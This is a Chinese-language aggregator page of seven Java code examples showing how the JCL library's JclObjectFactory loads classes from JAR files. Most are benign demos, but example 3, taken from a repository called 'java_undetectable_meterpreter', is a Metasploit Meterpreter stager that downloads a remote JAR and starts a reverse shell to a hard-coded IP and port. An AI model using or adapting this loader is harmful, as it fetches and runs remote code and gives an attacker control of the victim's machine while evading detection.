本文整理汇总了Java中org.xeustechnologies.jcl.JclObjectFactory类的典型用法代码示例。如果您正苦于以下问题:Java JclObjectFactory类的具体用法?Java JclObjectFactory怎么用?Java JclObjectFactory使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
JclObjectFactory类属于org.xeustechnologies.jcl包,在下文中一共展示了JclObjectFactory类的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Java代码示例。
示例1: main
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
public static void main(String[] args) {
JarClassLoader jcl1 = new JarClassLoader();
jcl1.add(JclDemo.class.getResource("/jcldemo1.jar"));
JarClassLoader jcl2 = new JarClassLoader();
jcl2.add(JclDemo.class.getResource("/jcldemo2.jar"));
//Create default factory
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj1 = factory.create(jcl1, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi1 = JclUtils.cast(obj1, JclTutorial.class);
System.out.println(mi1.hello("bingoo")); // hello:bingoo
//Create object of loaded class
Object obj2 = factory.create(jcl2, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi2 = JclUtils.cast(obj2, JclTutorial.class);
System.out.println(mi2.hello("bingoo")); // world:bingoo
}
开发者ID:bingoohuang,项目名称:javacode-demo,代码行数:22,代码来源:JclDemo.java
示例2: createInstanceOfClass
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
/**
* Create dynamically an instance of the specified object class
*
* @param jarClassLoader
* the class loader to be used
* @param objectClass
* an object class name
* @param injectableValues
* some values to be dynamically injected into the created
* classes
* @return an instance of object
* @throws ClassNotFoundException
*/
private Object createInstanceOfClass(JarClassLoader jarClassLoader, String objectClassName, Map<Class<?>, Object> injectableValues)
throws ClassNotFoundException {
if (log.isDebugEnabled()) {
log.debug("Attempting to create a class " + objectClassName);
}
Class<?> dynamicClass = jarClassLoader.loadClass(objectClassName);
if (log.isDebugEnabled()) {
log.debug("Class is created " + dynamicClass);
}
JclObjectFactory factory = JclObjectFactory.getInstance();
// Look for the constructor injection tag
Pair<Object[], Class<?>[]> injectableParameters = getInjectableConstructorParameters(dynamicClass, injectableValues);
if (injectableParameters != null) {
if (log.isDebugEnabled()) {
log.debug("Creating the class with parameters to be injected " + objectClassName + " : " + injectableParameters.getRight());
}
return factory.create(jarClassLoader, objectClassName, injectableParameters.getLeft(), injectableParameters.getRight());
}
// Attempt to create using a default constructor
return factory.create(jarClassLoader, objectClassName);
}
开发者ID:theAgileFactory,项目名称:app-framework,代码行数:35,代码来源:ExtensionManagerServiceImpl.java
示例3: main
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
/**
* @param args the command line arguments
*/
public static void main(String[] args) throws IllegalArgumentException, SecurityException, MalformedURLException, IllegalAccessException, InvocationTargetException, NoSuchMethodException
{
JarClassLoader jcl = new JarClassLoader();
//Loading classes from different sources
jcl.add(new URL("http://url.com/meterpreter.jar"));
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj = factory.create(jcl, "metasploit.Payload");
Method meth = obj.getClass().getMethod("main", String[].class);
String[] params = {"192.168.1.1","4444"};
meth.invoke(null, (Object) params);
}
开发者ID:luisfontes19,项目名称:java_undetectable_meterpreter,代码行数:20,代码来源:MeterpreterRemoveLoader.java
示例4: sandbox
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
void sandbox(String jarResourceName) {
try {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl",
new String[] { "Firstname", "Lastname" }, new Class[] {
String.class, String.class });
GreetingInterface gi = JclUtils.cast(obj, GreetingInterface.class);
System.out.println(gi.morning("Darjeeling"));
System.out.println(gi.afternoon("Assam"));
} catch (Throwable t) {
t.printStackTrace();
}
}
开发者ID:msakamoto-sf,项目名称:javasnack,代码行数:21,代码来源:JCLDemo.java
示例5: loadPlugin
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
public Plugin loadPlugin(File file) {
Policy.setPolicy(new PluginPolicy());
System.setSecurityManager(new SecurityManager());
JarClassLoader jcl = new JarClassLoader();
ProxyProviderFactory.setDefaultProxyProvider(new CglibProxyProvider());
JclObjectFactory factory = JclObjectFactory.getInstance(true);
jcl.getSystemLoader().setOrder(1);
jcl.add(file.getAbsolutePath());
Plugin plugin = (Plugin) factory.create(jcl, "plugin." + file.getName().replace(".jar", ""));
this.addPlugin(plugin);
return plugin;
}
开发者ID:Amine-H,项目名称:new-Line,代码行数:13,代码来源:PluginManager.java
示例6: loadGreetingInterface
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
GreetingInterface loadGreetingInterface(String jarResourceName) {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl", new String[] {
"Firstname", "Lastname" }, new Class[] { String.class,
String.class });
return JclUtils.cast(obj, GreetingInterface.class);
}
开发者ID:msakamoto-sf,项目名称:javasnack,代码行数:15,代码来源:TestJCLDemoApis.java
示例7: createGameRunStarter
import org.xeustechnologies.jcl.JclObjectFactory; //导入依赖的package包/类
protected Object createGameRunStarter() throws InstantiationException, IllegalAccessException,
ClassNotFoundException {
JclObjectFactory factory = JclObjectFactory.getInstance();
return factory.create(jcl, "de.oglimmer.cyc.GameRunStarter");
}
开发者ID:oglimmer,项目名称:cyc,代码行数:6,代码来源:EngineLoader.java
注:本文中的org.xeustechnologies.jcl.JclObjectFactory类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论